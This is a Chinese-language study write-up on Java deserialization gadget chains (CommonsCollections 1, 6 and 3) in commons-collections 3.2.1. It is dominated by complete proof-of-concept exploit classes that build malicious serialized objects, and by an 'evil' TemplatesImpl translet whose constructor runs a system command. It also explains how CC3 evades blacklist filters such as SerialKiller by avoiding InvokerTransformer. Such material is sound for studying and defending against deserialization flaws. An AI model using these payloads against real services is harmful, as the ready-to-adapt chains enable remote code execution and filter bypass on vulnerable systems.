java反序列化学习之CommonCollections3利用链的学习
一、前言
在前文中,我们学习了Java的类加载过程,类加载器以及Java中加载字节码的一些方法,其中介绍了TemplatesImpl,TemplatesImpl是一个可以加载字节码的类,通过调用其newTransformer()方法,即可执行这段字节码的类构造器。 那么,在反序列化的漏洞,能否利用这个特性执行任意代码呢?
二、回顾CC1和CC6
在CC1的利用链中,TransformedMap 是在写入的 时候执行 transform,其中利用点是通过 sun.reflect.annotation.AnnotationInvocationHandler#readObject 方法达到写入的目的,从而执行transform; LazyMap则是在其get方法中执行 factory.transform,但是 sun.reflect.annotation.AnnotionInvocationHandler#readObject方法并没有直接调用get方法,而是在其invoke方法中有调用,故而用到了Proxy代理方式实现在readObject时调用invoke,达到执行transform的目的。
但是在CC1链中,因为在Java 8u71之后的版本改动了sun.reflect.annotation.AnnotationInvocationHandler#readObject 方法,不在直接使用发序列化后得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值加进去,所以我们精心构造的Map不在执行set或put操作,也就不会触发RCE了。
1、使用TemlatesImpl 构造 CC1链
环境信息:
java 7u61commons-collections 3.2.1
我们先回忆下 CommonCollections1的利用链 ,当时可以利用TransformedMap执行任意Java方法
CommonCollections1.java
package com.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
而在上一节 java动态加载字节码的学习中, 我们又学习了如何利用TemplatesImpl执行字节码
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
"aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
"Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
"bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
"DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
"AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
"dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
"bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
"OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
"AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
"AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
"DwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
只需要结合这两段POC,即可很容易的改造出一个执行任意字节码的CommonsCollections 利用链: 只需要将第一个demo中的 InvokerTransformer 执行的方法 改成 TemplatesImpl#newTransformer() 即可:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
完整POC如下:
evil.java //用于生成evil.class 类文件
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
com.vulhub.Ser.TemplatesImplToCC1.java
package com.vulhub.Ser;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class TemplatesImplToCC1 {
public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, Value);
}
//读取文件字节流,赋值给 TemplatesImpl#_bytecodes
public static byte[] readClassFile(String filePath) throws IOException {
Path path = Paths.get(filePath);
return Files.readAllBytes(path);
}
public static void main(String[] args) throws Exception{
//source: bytecodes /evil.java
byte[] code = readClassFile("D:\\java\\test\\evil.class");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj,"_name", "evil");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null,null),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object objAnonotion = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(objAnonotion);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
我们分析一下为什么可以这么构造。 在学习CC1链的文章中,我们了解到其核心原理就是InvokerTransformer#transform ,可以执行任意方法。 在java类加载的学习中,我们了解到 TemplatesImpl 加载字节码 的调用链 中用到了 TemplatesImpl#newTransformer() 。 那么我们cc1链中的 exec方法改造一下,换成newTransformer() 方法,这样就组成了一条 TemplatesImpl版的 CC1利用链 ,LazyMap利用的payload就省略不写了,参照之前的POC。 但是,因为还是CC1链,用到的还是sun.reflect.annotation.AnnotationInvocationHandler类,所以依旧限制在8u71之前才能使用。
2、使用TemplatesImpl 构造 CC6链
环境信息:
java 1.8.0_261commons-collections 3.2.1
上一章中,因为使用的是cc1链,受限于jdk版本,故而其实这里我们也可以用 TemplatesImpl 构造一版 cc6链的poc。测试代码如下;
evil.java //用于生成evil.class 类文件
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
TemplatesImplToCC6.java
package com.vulhub.Ser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class TemplatesImplToCC6 {
public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, Value);
}
public static byte[] readClassFile(String filePath) throws IOException {
Path path = Paths.get(filePath);
return Files.readAllBytes(path);
}
public static void main(String[] args) throws Exception{
//source: bytecodes /evil.java
byte[] code = readClassFile("D:\\java\\test\\evil.class");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj,"_name", "evil");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null,null),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
outerMap.remove("keykey");
setFieldValue(transformerChain,"iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
三、为什么需要CommonsCollections3链呢?
在上述的说明中,TemplatesImpl可以用于构造CC1和CC6链,并且CC6链不受jdk版本影响,那为什么还需要CC3链呢?
我们可以再来看ysoserial中的CC3,可以发现其中没有使⽤到InvokerTransformer
原因是什么呢?
2015年初,@frohoff和@gebl发布了 Marshalling Pickles:how deserializing objects will ruin your day,以及反序列化利用工具yaoserial,安全开发者自然会去寻找一种安全的过滤方法,类似SerialKiller这样的工具随之诞生:
SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单
这个黑名单中InvokerTransformer 赫然在列,也就切断了 CommonsCollections1和6的利用链。 ysoseria随后增加了不少新的Gadgets, 其中就包括 CommonsCollections3.
CommonsCollections3的目的很明显,就是为了绕过一些规则对 InvokerTransformer的限制。 CommonsCollections3并没有使用到 InvokerTransformer来调用任意方法,而是用到了另一个类, com.sun.org.apahce.xalan.internal.xsltc.trax.TrAXFilter
这个类的构造方法中调用(TransformerImpl) templates.newTransformer() ,免去了我们使用InvokerTransformer手工调用newTransformer() 方法这一步
当然,这里缺少了 InvokerTransformer, TrAXFilter 的构造方法也无法调用。所以我们需要找到一个地方,能实现调用 com.sun.org.apahce.xalan.internal.xsltc.trax.TrAXFilter 的构造方法。 那就是 org.apache.commons.collections.functors.InstantiateTransformer 。InstantiateTransformer 也是一个实现了Transformer接口的类, 他的作用就是调用构造方法。
所以,我们实现的目标就是,利用 InstantiateTransformer 来调用 TrAXFilter 的构造方法, 再利用其构造方法里的 templates.newTransformer() 调用到 TemplatesImpl 里的字节码。
CommonsCollections3利用链poc示例:
环境信息:
java 1.8.0_261commons-collections 3.2.1
evil.java //用于生成evil.class 类文件
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
CommonCollections3.java
package com.vulhub.Ser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections3 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] readClassFile(String filePath) throws IOException {
Path path = Paths.get(filePath);
return Files.readAllBytes(path);
}
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes", new byte[][]{ readClassFile("D:\\java\\test\\evil.class")});
setFieldValue(obj,"_name","evil");
setFieldValue(obj,"_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] {Templates.class},
new Object[]{obj}
)
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
outerMap.remove("keykey");
setFieldValue(transformerChain,"iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}